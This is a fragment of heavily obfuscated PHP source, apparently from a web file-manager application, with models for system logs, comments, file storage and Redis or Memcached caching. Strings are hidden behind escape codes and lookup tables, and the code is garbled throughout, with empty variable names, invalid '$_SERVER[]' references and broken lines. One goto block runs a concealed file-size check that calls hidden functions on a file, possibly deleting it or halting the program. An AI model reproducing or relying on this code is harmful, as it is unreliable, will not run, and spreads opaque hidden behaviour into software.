"\x73\171\x73\164\x65\155\137\154\157\147"; protected $dataAuto = array(array("\x63\162\145\141\x74\145\x54\x69\x6d\145", "\164\x69\155\x65", "\151\156\163\x65\162\x74", "\x66\165\156\x63\x74\151\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ּӒ =& $_SERVER[]; return array($ּӒ[2185] => LNG($ּӒ[2186]), $ּӒ[2187] => LNG($ּӒ[2188]), $ּӒ[1795] => LNG($ּӒ[2189]), $ּӒ[2190] => LNG($ּӒ[2191]), $ּӒ[2192] => LNG($ּӒ[2193]), $ּӒ[2194] => LNG($ּӒ[2195]), $ּӒ[2196] => LNG($ּӒ[2197]), $ּӒ[1825] => LNG($ּӒ[2197]), $ּӒ[1826] => LNG($ּӒ[2198]), $ּӒ[2199] => LNG($ּӒ[2200]), $ּӒ[2201] => LNG($ּӒ[2202]), $ּӒ[2203] => LNG($ּӒ[2204]), $ּӒ[2205] => LNG($ּӒ[2206]), $ּӒ[1823] => LNG($ּӒ[2207]), $ּӒ[2208] => LNG($ּӒ[2209]), $ּӒ[1830] => LNG($ּӒ[2210]), $ּӒ[2211] => LNG($ּӒ[2212]), $ּӒ[2213] => LNG($ּӒ[2214]), $ּӒ[2215] => LNG($ּӒ[2216]), $ּӒ[2217] => LNG($ּӒ[2218]), $ּӒ[1833] => LNG($ּӒ[2219]), $ּӒ[1834] => LNG($ּӒ[2220]), $ּӒ[2221] => LNG($ּӒ[2222]), $ּӒ[2223] => LNG($ּӒ[2224]), $ּӒ[2225] => LNG($ּӒ[2226]), $ּӒ[1828] => LNG($ּӒ[2227]), $ּӒ[2228] => LNG($ּӒ[2229]), $ּӒ[1827] => LNG($ּӒ[2230]), $ּӒ[2231] => LNG($ּӒ[2232]), $ּӒ[2233] => LNG($ּӒ[2234]), $ּӒ[2235] => LNG($ּӒ[2236]), $ּӒ[2237] => LNG($ּӒ[2237]), $ּӒ[2238] => LNG($ּӒ[1799]), $ּӒ[2239] => LNG($ּӒ[2240]), $ּӒ[2241] => LNG($ּӒ[2242]), $ּӒ[2243] => LNG($ּӒ[2244]), $ּӒ[2245] => LNG($ּӒ[2246]), $ּӒ[2247] => LNG($ּӒ[2248]), $ּӒ[2249] => LNG($ּӒ[2249]), $ּӒ[2250] => LNG($ּӒ[2251]), $ּӒ[2252] => LNG($ּӒ[2253]), $ּӒ[2254] => LNG($ּӒ[2255]), $ּӒ[2256] => LNG($ּӒ[2257]), $ּӒ[2258] => LNG($ּӒ[2259]), $ּӒ[2260] => LNG($ּӒ[2261])); } private function typeFile() { $؊ƥ =& $_SERVER[]; $ = array($؊ƥ[1830] => array($؊ƥ[1831]), $؊ƥ[2203] => array($؊ƥ[2262]), $؊ƥ[2205] => array($؊ƥ[2263]), $؊ƥ[1823] => array($؊ƥ[1824]), $؊ƥ[2213] => array(), $؊ƥ[2215] => array(), $؊ƥ[2217] => array(), $؊ƥ[1833] => array($؊ƥ[1835]), $؊ƥ[1834] => array($؊ƥ[1835]), $؊ƥ[2221] => array($؊ƥ[2264]), $؊ƥ[2223] => array($؊ƥ[2264]), $؊ƥ[2225] => array($؊ƥ[2265]), $؊ƥ[2211] => array($؊ƥ[2266]), $؊ƥ[1828] => array($؊ƥ[2267]), $؊ƥ[2228] => array($؊ƥ[2268]), $؊ƥ[1827] => array($؊ƥ[1829])); return $; } private function typeAll() { $ǟШ =& $_SERVER[]; $̨ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $ï) { $̨[$ï[0]] = $̨[$]; } $̨[$ǟШ[1835]] = LNG($ǟШ[2269]); $̨[$ǟШ[2264]] = LNG($ǟШ[2270]); return $̨; } public function addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = USER_ID ? USER_ID : (isset($[$[1663]]) ? $[$[1663]] : 0); if (!$) { $ = (int) Session::get($[1989]); } if ($ == $[2239] && is_array($[$[2271]]) && !$[$[2271]]) { return; } $չ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($[2272] => $չ); } else { if (is_array($)) { $[$[2272]] = $չ; } else { $ = array($[1198] => $, $[2272] => $չ); } } $ = array($[1653] => Session::sign(), $[1654] => $, $[33] => $, $[1656] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][419] => $))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[201]; $з = array($[450] => $[451], $[452] => $[453]); $Ѿ = Input::get($[458], $[7], $[2025], array($[1943], $[452])); $Ѿ = $з[$Ѿ]; $ = $ . "{$}\x20{$Ѿ}"; return $this->order($); } public function get($į = '') { $ =& $_SERVER[]; if (!$į) { show_json(array()); } $ɜ = array(); if ($į[$[1663]]) { $ɜ[$[1663]] = $į[$[1663]]; } if (isset($į[$[757]])) { $̀ = $į[$[757]]; $ = isset($į[$[758]]) ? $į[$[758]] : time(); $ɜ[$[201]] = array($[333], array($̀, $)); } if ($į[$[33]]) { $ = explode($[50], $į[$[33]]); $䭒 = $this->typeFile(); $ി = array(); foreach ($ as $) { $ി[] = $; if (isset($䭒[$])) { $ി = array_merge($ി, $䭒[$]); } } $ി = array_unique($ി); if ($ി) { $ɜ[$[33]] = array($[7], $ി); } } else { $ɜ[$[33]] = array($[2273], $[2274]); } if (!empty($į[$[2272]])) { $ɜ[$[453]] = array($[383], "\45{$į[$[2272]]}\x25"); } $ = $this->_makeOrder()->where($ɜ)->selectPage(); if (empty($[$[369]])) { show_json(array(), !0, $[$[366]]); } $[$[369]] = $this->logList($[$[369]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[2272]])) { $ = IpLocation::get($[$[2272]]); } else { $ = LNG($[2275]); } $[$[2276]] = $; } private function descZipDownload($, &$) { $ݪՈ =& $_SERVER[]; if (!isset($[$ݪՈ[2277]])) { return; } $즆 = json_decode($[$ݪՈ[2277]], !0); foreach ($즆 as $) { try { $ = IO::infoFull($[$ݪՈ[84]]); } catch (Exception $) { continue; } $[$ݪՈ[84]] = $[$ݪՈ[84]]; $[] = $[$ݪՈ[402]] = $[$ݪՈ[402]]; $[] = $[$ݪՈ[2079]] = $[$ݪՈ[432]]; break; } return $; } private function getSourceList(&$齸) { $ =& $_SERVER[]; $ = array(); foreach ($齸 as $̛ => $lj) { $ = json_decode($lj[$[453]], !0); if ($lj[$[33]] == $[1826]) { $ = $this->descZipDownload($, $); $齸[$̛][$[453]] = json_encode($); continue; } if (strpos($lj[$[33]], $[2081]) !== 0) { if (!isset($[$[84]]) || strpos($lj[$[33]], $[2278]) !== 0) { continue; } try { $фݘ = IO::infoFull($[$[84]]); } catch (Exception $Ɇ) { continue; } $[] = $[$[402]] = $фݘ[$[402]]; $[] = $[$[2079]] = $фݘ[$[432]]; $齸[$̛][$[453]] = json_encode($); continue; } $[] = $[$[402]]; $[] = $[$[2079]]; if ($[$[33]] == $[548]) { $[] = $[$[453]][$[1156]]; $[] = $[$[453]][$[1157]]; } if ($[$[33]] == $[2089]) { $[] = $[$[453]][$[402]]; } } if (!$) { return array(); } return Model($[822])->sourceListInfo($, !0); } private function logList($߅) { $ԩ =& $_SERVER[]; $Բ = array_to_keyvalue($߅, $ԩ[12], $ԩ[1663]); $Ϟ = Model($ԩ[525])->userListInfo(array_unique($Բ)); $ = $this->getSourceList($߅); $㷿 = $this->typeAll(); $ = array(); $Ӆҁ = array(); foreach ($߅ as $ => $ԥ) { $ɯ = $ԥ[$ԩ[33]]; $̲ = isset($Ϟ[$ԥ[$ԩ[1663]]]) ? $Ϟ[$ԥ[$ԩ[1663]]] : !1; $͵ = strpos($ɯ, $ԩ[2279]) === 0 ? LNG($ԩ[2280]) : LNG($ԩ[2275]); $ԥ[$ԩ[32]] = isset($̲[$ԩ[32]]) ? $̲[$ԩ[32]] : LNG($ԩ[2275]); $ԥ[$ԩ[532]] = isset($̲[$ԩ[532]]) ? $̲[$ԩ[532]] : $ԩ[12]; $ԥ[$ԩ[1561]] = isset($㷿[$ɯ]) ? $㷿[$ɯ] : $͵; $ԥ[$ԩ[2024]] = $̲; $ƽ = json_decode($ԥ[$ԩ[453]], !0); $ԥ[$ԩ[2272]] = isset($ƽ[$ԩ[2272]]) ? $ƽ[$ԩ[2272]] : $ԩ[12]; $ԥ[$ԩ[2276]] = IpLocation::get($ԥ[$ԩ[2272]]); if (strpos($ɯ, $ԩ[2081]) === 0 || isset($ƽ[$ԩ[2079]])) { $ƽ[$ԩ[87]] = $[$ƽ[$ԩ[402]]]; $ƽ[$ԩ[2094]] = $[$ƽ[$ԩ[2079]]]; if ($ƽ[$ԩ[33]] == $ԩ[548]) { $ƽ[$ԩ[453]][$ԩ[1156]] = $[$ƽ[$ԩ[453]][$ԩ[1156]]]; $ƽ[$ԩ[453]][$ԩ[1157]] = $[$ƽ[$ԩ[453]][$ԩ[1157]]]; } if ($ƽ[$ԩ[33]] == $ԩ[2089]) { $ƽ[$ԩ[453]][$ԩ[402]] = $[$ƽ[$ԩ[453]][$ԩ[402]]]; } if ($ƽ[$ԩ[33]] == $ԩ[1821]) { $ƽ[$ԩ[2094]] = $ƽ[$ԩ[87]]; $ƽ[$ԩ[2079]] = $ƽ[$ԩ[2094]][$ԩ[402]]; $ƽ[$ԩ[87]] = !1; $ƽ[$ԩ[402]] = $ԩ[12]; } if ($ƽ[$ԩ[87]] && $ƽ[$ԩ[87]][$ԩ[411]] == $ԩ[1280]) { $Ӆҁ[] = $ԥ[$ԩ[399]]; unset($߅[$]); continue; } if ($ƽ[$ԩ[2094]] && $ƽ[$ԩ[2094]][$ԩ[411]] == $ԩ[1280]) { $Ӆҁ[] = $ԥ[$ԩ[399]]; unset($߅[$]); continue; } } $ԥ[$ԩ[453]] = $ƽ; unset($ԥ[$ԩ[2281]]); $[] = $ԥ; } $this->clearSystemPathLog($Ӆҁ); return $; } private function clearSystemPathLog($ۚ) { $ =& $_SERVER[]; if (count($ۚ) == 0) { return; } $ҵ = array($[399] => array($[7], array_unique($ۚ))); $this->where($ҵ)->delete(); } public function deviceList($эٻ, $ӫ = 0) { $ =& $_SERVER[]; $ = array($[1663] => $эٻ, $[201] => array($[1010], $ӫ), $[33] => $[1795]); $죘 = array(); $ = $this->field($[2282])->where($)->order($[2092])->limit(50)->select(); foreach ($ as $ր => $ܹ) { if ($ր > 0 && abs($ܹ[$[201]] - $[$ր - 1][$[201]]) < 5) { continue; } $䲯ő = json_decode($ܹ[$[453]], !0); $ܹ[$[2272]] = isset($䲯ő[$[2272]]) ? $䲯ő[$[2272]] : $[12]; unset($䲯ő[$[2272]]); $ = $this->deviceType($䲯ő[$[2082]]); if (isset($죘[$])) { continue; } $ܹ[$[2276]] = IpLocation::get($ܹ[$[2272]]); $ܹ[$[453]] = $䲯ő; $죘[$] = $ܹ; } return array_values($죘); } public function deviceType($ψ) { return $ψ; } } goto aٝ; dы: class CommentModel extends ModelBase { protected $tableName = "\143\x6f\155\155\x65\x6e\x74"; protected $tableMeta = array("\164\x61\x62\x6c\145\116\x61\155\x65" => "\x63\x6f\155\155\x65\156\x74\x5f\x6d\145\164\x61", "\155\x65\164\x61\106\x69\x65\154\144" => "\143\157\x6d\x6d\145\156\x74\111\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($П) { $ =& $_SERVER[]; if ($П[$[1881]]) { $ = $this->where(array($[1882] => $П[$[1881]]))->find(); if (!$ || $[$[411]] != $П[$[411]] || $[$[496]] != $П[$[496]]) { return !1; } $this->where(array($[1882] => $П[$[1881]]))->setAdd($[1883], 1); } $П[$[1884]] = 0; $П[$[1883]] = 0; $П[$[746]] = 1; return $this->add($П); } public function commentCount($،, $, $ = false) { $薲 =& $_SERVER[]; if (!$،) { return array(); } if (is_string($،) || is_int($،)) { $، = array($،); } $Ա = array($薲[496], $薲[1885] => $薲[491]); $ͨ = array($薲[496] => array($薲[7], $،), $薲[411] => $); if ($) { $ͨ[$薲[1663]] = $; } $ = $this->field($Ա)->where($ͨ)->group($薲[496])->select(); return array_to_keyvalue($, $薲[496], $薲[491]); } public function starTarget($, $Ϟ) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1663] => USER_ID, $[411] => $, $[496] => $Ϟ); $䯁 = $this->where($)->find(); if ($䯁) { return $this->where(array($[399] => $䯁[$[399]]))->delete(); } $ը = array($[1881] => 0, $[1663] => USER_ID, $[746] => 1, $[751] => $[12], $[411] => $, $[496] => $Ϟ, $[1884] => 0, $[1883] => 0); return $this->add($ը); } public function starTargetCount($ª, $͋) { $ =& $_SERVER[]; $̂ = $͋ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($ª, $̂); $ = $this->commentCount($ª, $̂, USER_ID); return array($[1886] => $, $[1887] => $); } public function starTargetUserList($, $́) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $х = array($[496] => $́, $[411] => $); $ѭ = $this->where($х)->count(); $ߪ߯ = array($[255] => $ѭ, $[1888] => array()); if (!$ѭ) { return $ߪ߯; } $ࣩ = $this->field($[1663])->where($х)->limit(500)->select(); $ࣩ = array_to_keyvalue($ࣩ, $[12], $[1663]); $ߪ߯[$[1888]] = Model($[504])->userListInfo($ࣩ); return $ߪ߯; } public function prasiseUserList($) { $ =& $_SERVER[]; $ď駋 = array($[1889] => $); $ȇ = $this->where($ď駋)->find(); $ = _get($ȇ, $[1884], 0); $薖 = array($[255] => $, $[1888] => array()); if (!$) { return $薖; } $ꧩ = Model($[1890])->field($[1663])->where($ď駋)->limit(500)->select(); $ꧩ = array_to_keyvalue($ꧩ, $[12], $[1663]); $薖[$[1888]] = Model($[504])->userListInfo($ꧩ); return $薖; } public function remove($) { $٠ס =& $_SERVER[]; $ۙ = array($٠ס[1882] => $); $ = $this->where($ۙ)->find(); if ($[$٠ס[1881]]) { $this->where(array($٠ס[1882] => $[$٠ס[1881]]))->setAdd($٠ס[1883], -1); } return $this->where($ۙ)->delete(); } public function edit($, $) { $ǔ =& $_SERVER[]; $ = array($ǔ[1882] => $); return $this->where($)->save(array($ǔ[1891] => $)); } public function prasise($) { $ⶮ =& $_SERVER[]; $Ү = Model($ⶮ[1892]); $쎜 = array($ⶮ[1882] => $, $ⶮ[1654] => USER_ID); $ = $Ү->where($쎜)->find(); if (!$) { $Ү->add($쎜); $Ф = $this->where(array($ⶮ[1882] => $))->setAdd($ⶮ[1884], 1); } else { $Ү->where($쎜)->delete(); $Ф = $this->where(array($ⶮ[1882] => $))->setAdd($ⶮ[1884], -1); } return $Ф; } public function targetInfo($, $) { $覈 =& $_SERVER[]; $Ė = array($覈[576] => $, $覈[577] => $); $Ĕ = $this->where($Ė)->count(); $ = "\x52\x49\x47\110\124\x20\x4a\117\x49\116\x20{$this->tablePrefix}\x63\x6f\x6d\155\145\x6e\164\x5f\160\x72\x61\151\163\145\40\163\x74\141\x72\40\x6f\156\x20\x63\x6f\155\155\145\x6e\x74\x2e\x63\x6f\x6d\x6d\145\156\x74\111\104\x20\x3d\x20\x73\164\x61\162\56\143\x6f\x6d\155\x65\156\x74\111\x44"; $ = $this->alias($覈[354])->where($Ė)->join($, $覈[1893])->count(); $Ā = array($覈[1894] => $Ĕ, $覈[1895] => $); return $Ā; } public function listData($) { $ܷ =& $_SERVER[]; if (isset($[$ܷ[1896]])) { if ($[$ܷ[1896]]) { $[$ܷ[1889]] = array($ܷ[1010], intval($[$ܷ[1896]])); } unset($[$ܷ[1896]]); } if (isset($[$ܷ[1897]])) { if ($[$ܷ[1897]]) { $[$ܷ[1889]] = array($ܷ[1007], intval($[$ܷ[1897]])); } unset($[$ܷ[1897]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[]; $ŀ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($ŀ[$[369]]); $this->_listAppendUser($ŀ[$[369]]); $this->_listAppendMeta($ŀ[$[369]]); return $ŀ; } private function _makeOrder() { $ =& $_SERVER[]; $˿ڕ = array($[1884], $[1883], $[201]); $ = Input::get($[457], $[7], $[423], $˿ڕ); $ҿ = Input::get($[458], $[7], $[1656], array($[1898], $[453])); $ɻ = $ . $[53] . $ҿ; return $this->order($ɻ); } private function _listAppendParent(&$ؖ𢡊) { $䆢 =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ؖ𢡊, $䆢[12], $䆢[1881])); $ = array_remove_value($, $䆢[198]); if (!$) { return; } $ = $this->where(array($䆢[1882] => array($䆢[7], $)))->select(); $ = array_to_keyvalue($, $䆢[1889]); foreach ($ؖ𢡊 as &$ǽʨ) { if (isset($[$ǽʨ[$䆢[1881]]])) { $ǽʨ[$䆢[1899]] = $[$ǽʨ[$䆢[1881]]]; } } unset($ǽʨ); } private function _listAppendUser(&$⥭) { $˼ =& $_SERVER[]; $յ = array_unique(array_to_keyvalue($⥭, $˼[12], $˼[1663])); $յ = array_remove_value($յ, $˼[198]); if (count($յ) == 0) { return; } foreach ($⥭ as $ۗ) { if (isset($ۗ[$˼[1899]])) { $յ[] = $ۗ[$˼[1899]][$˼[1663]]; } } $ޕ = Model($˼[525])->userListInfo($յ); foreach ($⥭ as &$ۗ) { $ۗ[$˼[590]] = $ޕ[$ۗ[$˼[1663]]]; if (isset($ۗ[$˼[1899]])) { $ۗ[$˼[1899]][$˼[590]] = $ޕ[$ۗ[$˼[1899]][$˼[1663]]]; } } unset($ۗ); } private function _listAppendMeta(&$Ӷ) { $ʕ =& $_SERVER[]; $ž = array_unique(array_to_keyvalue($Ӷ, $ʕ[12], $ʕ[1889])); $ž = array_remove_value($ž, $ʕ[198]); if (!$ž) { return; } foreach ($Ӷ as $) { if (isset($[$ʕ[1899]])) { $ž[] = $[$ʕ[1899]][$ʕ[1889]]; } } $δ = $this->metaList($ž); if (!$δ) { return !1; } foreach ($Ӷ as &$) { $[$ʕ[466]] = $δ[$[$ʕ[1889]]]; if (isset($[$ʕ[1899]])) { $[$ʕ[1899]][$ʕ[466]] = $δ[$[$ʕ[1899]][$ʕ[1889]]]; } } unset($); } private function metaList($٪) { $ƍֲ =& $_SERVER[]; if (!$٪) { return array(); } $ſ = array($ƍֲ[1889] => array($ƍֲ[7], $٪)); $ = Model($ƍֲ[1900])->where($ſ)->select(); $ = array_to_keyvalue_group($, $ƍֲ[1889]); foreach ($ as $Γ => $) { $ͷ = array(); foreach ($ as $Ƕ) { $ͷ[$Ƕ[$ƍֲ[94]]] = $Ƕ[$ƍֲ[374]]; } $[$Γ] = $ͷ; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\137\146\x69\x6c\x65\x5f\x63\157\156\164\x65\x6e\164\163"; protected $dataAuto = array(array("\143\162\145\x61\164\145\x54\x69\155\145", "\164\151\x6d\145", "\x69\156\x73\x65\x72\x74", "\x66\165\x6e\x63\x74\151\157\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\x66\x69\154\145"; protected $tableMeta = array("\164\141\142\154\145\x4e\141\x6d\145" => "\151\157\137\146\151\x6c\145\137\155\x65\x74\141", "\155\x65\164\x61\x46\x69\145\x6c\x64" => "\146\x69\x6c\145\111\x44"); public function fileInfo($) { $ =& $_SERVER[]; static $ = array(); if (!isset($[$])) { $˭ځ = $[1901]; $ҟ = Model($[471])->field($˭ځ)->where(array($[469] => $))->find(); $[$] = $ҟ; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[]; $ִ = TEMP_PATH . $[1902]; if (!is_dir($ִ)) { mk_dir($ִ); } $ = $ִ . $[1903] . rand_string(16); file_put_contents($, $); $ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($½, $ = false, $ = false) { $֮ =& $_SERVER[]; $ܺ = IO::init($֮[8]); $խ̕ = $this->makeFilePath($½, $ܺ, $, $); $Ê = $ܺ->pathFather($խ̕); static $ϣۈ = false; $ᢐ = $֮[1904] . md5($Ê); if (!$ϣۈ && !Cache::get($ᢐ)) { $ϣۈ = !0; $ە = IO::mkdir($Ê); if (!IO::exist($ە . $֮[794])) { IO::mkfile($ە . $֮[794]); } Cache::set($ᢐ, 1, 3600 * 2); } return $խ̕; } public function makeFilePath($, $, $ = false, $Ƅ = false) { $ =& $_SERVER[]; $ = Model($[767])->get($[1905]); $ = KodIO::defaultIO() . date($[1906]); $ = $ . rand_string(5) . short_id(100); $ = str_replace($[8], $[11], KodIO::clear($)); $ƅ = $->ext($); if (!$) { $ = $[1907]; } switch ($) { case $[1908]: $ = $ . $[10] . $->ext($); if ($ƅ == $[1845]) { $ .= $[1202]; } break; case $[1909]: $˙ = Model($[767])->get($[768]); $γ = substr(md5($[769] . $˙ . date($[744])), 0, 8); $҆ʢ = KodIO::defaultDriver(); $ = $[1233] . $҆ʢ[$[399]] . $[409] . date($[1910]) . $γ . $[8]; if ($ƅ == $[1845]) { $ .= $[1202]; } $ = $[1911] . $ . $; CacheLock::lock($); $ = $ . $; if (IO::exist($ . $)) { $̗Ϭ = substr($, 0, strlen($) - strlen($ƅ)); $ = $Ƅ ? substr($Ƅ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $̗Ϭ . $ . $[10] . $ƅ; } if (IO::isTypeObject($) && !IO::isUploadServer($)) { if (IO::exist($)) { return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[1912], !1); } } CacheLock::unlock($); break; case $[1907]: break; default: break; } return $; } public function addFileByRemote($רՀ, $, $ = array()) { $ѕ =& $_SERVER[]; if (!IO::exist($רՀ)) { return !1; } $ = $[$ѕ[176]] ? $[$ѕ[176]] : $ѕ[12]; $ݩ = IO::hashMd5($רՀ, $); $ = KodIO::defaultDriver(); $ = array($ѕ[545] => IO::size($רՀ), $ѕ[1913] => 1, $ѕ[420] => $, $ѕ[805] => $[$ѕ[399]], $ѕ[421] => $רՀ, $ѕ[1914] => $[$ѕ[177]] ? $[$ѕ[177]] : IO::hashSimple($רՀ), $ѕ[1915] => $ݩ ? $ݩ : $); if ($ = $this->addFileCheckExist($[$ѕ[177]], $[$ѕ[176]], $[$ѕ[76]])) { return $; } return $this->addFileData($); } private function addFileData($䐞) { $ =& $_SERVER[]; if (!$䐞) { return !1; } $䐞[$[76]] = intval($䐞[$[76]]); if (!$䐞[$[76]] && strlen($䐞[$[177]]) > 32) { $䐞[$[76]] = intval(substr($䐞[$[177]], 32)); } $Њɛ = $this->add($䐞); return $this->find($Њɛ); } public function addFile($, $Ɓ, $ = false) { $ѝ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ѝ[12]; $ = $ѝ[1916] . $; CacheLock::lock($); if ($ && $) { $Ʉ = $this->addFileCheckExist($, $, $); if ($Ʉ) { CacheLock::unlock($); return $Ʉ; } } $ք = $this->addFileMake($, $, $, $, $Ɓ, $); $π = $this->addFileData($ք); CacheLock::unlock($); if (!$ && $π) { $this->fileMd5Check($π); } return $π; } private function fileMd5Check($) { $ =& $_SERVER[]; $ϊ = array($[$[468]], $[$[84]]); $ = $[1917] . $[$[84]]; $ǁ = $[1918] . $[$[468]]; $ = TaskQueue::add($[1919], $ϊ, $, $ǁ); if (!$) { $this->fileMd5Set($[$[468]], $[$[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($˸, $) { $ =& $_SERVER[]; $ƻ = $this->find($˸); if (!$ƻ || $ƻ[$[176]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[468] => $˸))->save(array($[176] => $)); } public function addFileMake($, $ޭ, $, $ͤ, $, $) { $ =& $_SERVER[]; $ = $this->createFileName($, $, $ͤ); $
= get_path_father($); $ = get_path_this($); if ($) { $Ɲث = IO::move($, $
, !1, $); } else { $Ɲث = IO::copy($, $
, !1, $); } if (!$Ɲث) { return !1; } $꧒ = KodIO::defaultDriver(); $¼ = array($[545] => $ޭ, $[1913] => 1, $[420] => $, $[805] => $꧒[$[399]], $[421] => $, $[1914] => $, $[1915] => $ͤ); return $¼; } public function addFileCheckExist($؞, $ń̤, $) { $ɔ =& $_SERVER[]; $ = $this->findByHash($؞, $ń̤); if (!$) { return !1; } $ = array($ɔ[1913] => intval($[$ɔ[1920]]) + 1, $ɔ[545] => $); $this->where(array($ɔ[469] => $[$ɔ[468]]))->save($); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($Jշ) { $this->linkCountChange($Jշ, !0); } public function linkCountChange($ε, $ʦ) { $歬 =& $_SERVER[]; if (!$ε) { return; } if (!is_array($ε)) { $ε = array($ε); } $ = array(); foreach ($ε as $) { $ = $ . $歬[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ך = array(); foreach ($ as $ => $) { $ = $ . $歬[12]; if (!$ך[$]) { $ך[$] = array(); } $ך[$][] = $; } foreach ($ך as $ => $Ń) { if (!$Ń) { continue; } $ = $ʦ ? $ : -intval($); $ = array($歬[468] => array($歬[7], $Ń)); if ($ < 0) { $[$歬[1920]] = array($歬[1011], abs($)); } $this->where($)->setAdd($歬[1920], $); } } public function findByHash($, $ʼ = false) { $ܡ =& $_SERVER[]; if (!$ && !$ʼ) { return !1; } $۱ = array($ܡ[1914] => $); if ($ʼ) { $۱ = array($ܡ[1915] => $ʼ); } return $this->order($ܡ[1921])->where($۱)->find(); } public function clearEmpty($ = 0) { $œ =& $_SERVER[]; $ = time() - 3600 * 24 * $; $ƥ = $œ[1922] . $; $ = $this->where($ƥ)->select(); if (!$) { return; } $ = new Task($œ[1923], $œ[12], count($)); foreach ($ as $ן) { $->update(1); $this->resetFile($ן); } $->end(); } public function resetFile($凋) { $ =& $_SERVER[]; $ޚ = array($[469] => $凋[$[468]]); $ř = Model($[1335])->where($ޚ)->count(); $ = Model($[1924])->where($ޚ)->count(); $ = intval($ř) + intval($); if ($ == 0) { IO::remove($凋[$[84]]); Model($[1925])->delete($凋[$[468]]); $this->where($ޚ)->delete(); $this->metaSet($凋[$[468]], null, null); return; } if ($凋[$[1920]] != $) { $this->where($ޚ)->save(array($[1913] => $)); } } public function storageInfo($ȑ = false) { $؞ =& $_SERVER[]; $՟ = $this->count() + 0.0; $鏪 = 0; $ɪŘ = 1; $ = 0; $ӽ = 5000; for ($Ɍ = 0; $Ɍ < $՟; $Ɍ = $Ɍ + $ӽ) { $ = $this->limit($Ɍ, $Ɍ + $ӽ)->select(); foreach ($ as $) { $ɪŘ += $[$؞[76]] * $[$؞[1920]]; $鏪 += $[$؞[76]] * ($[$؞[1920]] - 1); $ += $[$؞[1920]]; } } $Ǧ = array($؞[1926] => $ɪŘ, $؞[1927] => $鏪, $؞[1928] => $鏪 / $ɪŘ, $؞[80] => $՟, $؞[1929] => $); return $Ǧ; } } goto A; Fݬ: $_file = $_SERVER[$_SERVER[][736]]; $_size = $_SERVER[][737]; if ($_SERVER[$_SERVER[][738]] != $_size($_file)) { $_getc = $_SERVER[][739]; $_getfile = $_SERVER[$_SERVER[][740]] . $_SERVER[][741]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][231], $_getfilec); if (count($_getarrs) < $_SERVER[][628]) { $exit = $_SERVER[][742]; $exit(); } $_act = $_SERVER[][743]; $_act($_file); } goto Aє; fɕ: class CacheMemcached { public $handle; public $cacheTime; public function __construct($ʕ, $ˌ) { $ڀ =& $_SERVER[]; if (!class_exists($ڀ[863])) { show_json($ڀ[864], !1); } $this->cacheTime = $ˌ; $this->handle = new Memcached(); if (is_array($ʕ[$ڀ[865]]) && count($ʕ[$ڀ[865]]) >= 1) { foreach ($ʕ[$ڀ[865]] as $Ҩ) { $ = explode($ڀ[4], $Ҩ); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($ʕ[$ڀ[182]], $ʕ[$ڀ[183]]); } } public function set($ѿ, $¿, $Ͻ = false) { $Ͻ = $Ͻ ? $Ͻ : $this->cacheTime; return $this->handle->set($ѿ, $¿, $Ͻ); } public function get($ú) { return $this->handle->get($ú); } public function remove($ݕ) { return $this->handle->delete($ݕ); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($҃, $炫) { $ܷ =& $_SERVER[]; if (!class_exists($ܷ[866])) { show_json($ܷ[867], !1); } $this->cacheTime = $炫; $Ô = isset($҃[$ܷ[868]]) ? $҃[$ܷ[868]] : 10; $ʘ = _get($҃, $ܷ[865]); if ($ʘ && is_array($ʘ)) { $this->initCluster($҃, $Ô); } else { $this->handle = $this->init($҃, $Ô); } } private function init($ߗ, $뻮) { $ =& $_SERVER[]; $ = new Redis(); $ = isset($ߗ[$[869]]) ? $ߗ[$[869]] : !1; if ($) { $->pconnect($ߗ[$[182]], $ߗ[$[183]], $뻮); } else { $->connect($ߗ[$[182]], $ߗ[$[183]], $뻮); } if (!empty($ߗ[$[413]])) { $->auth($ߗ[$[413]]); } if (!empty($ߗ[$[754]]) && $ߗ[$[754]] != 0) { $->select($ߗ[$[754]]); } return $; } private function initCluster($յ, $) { $ =& $_SERVER[]; $ = array($[870], $[871], $[872]); $ = $[870]; if (isset($յ[$[16]]) && in_array($յ[$[16]], $)) { $ = $յ[$[16]]; } switch ($) { case $[870]: $this->_slave($յ, $); break; case $[871]: break; case $[872]: $this->isCluster = !0; $ = $յ[$[865]]; $Ҏ = isset($յ[$[869]]) ? $յ[$[869]] : !1; $ = isset($յ[$[413]]) ? $յ[$[413]] : null; $this->handle = new 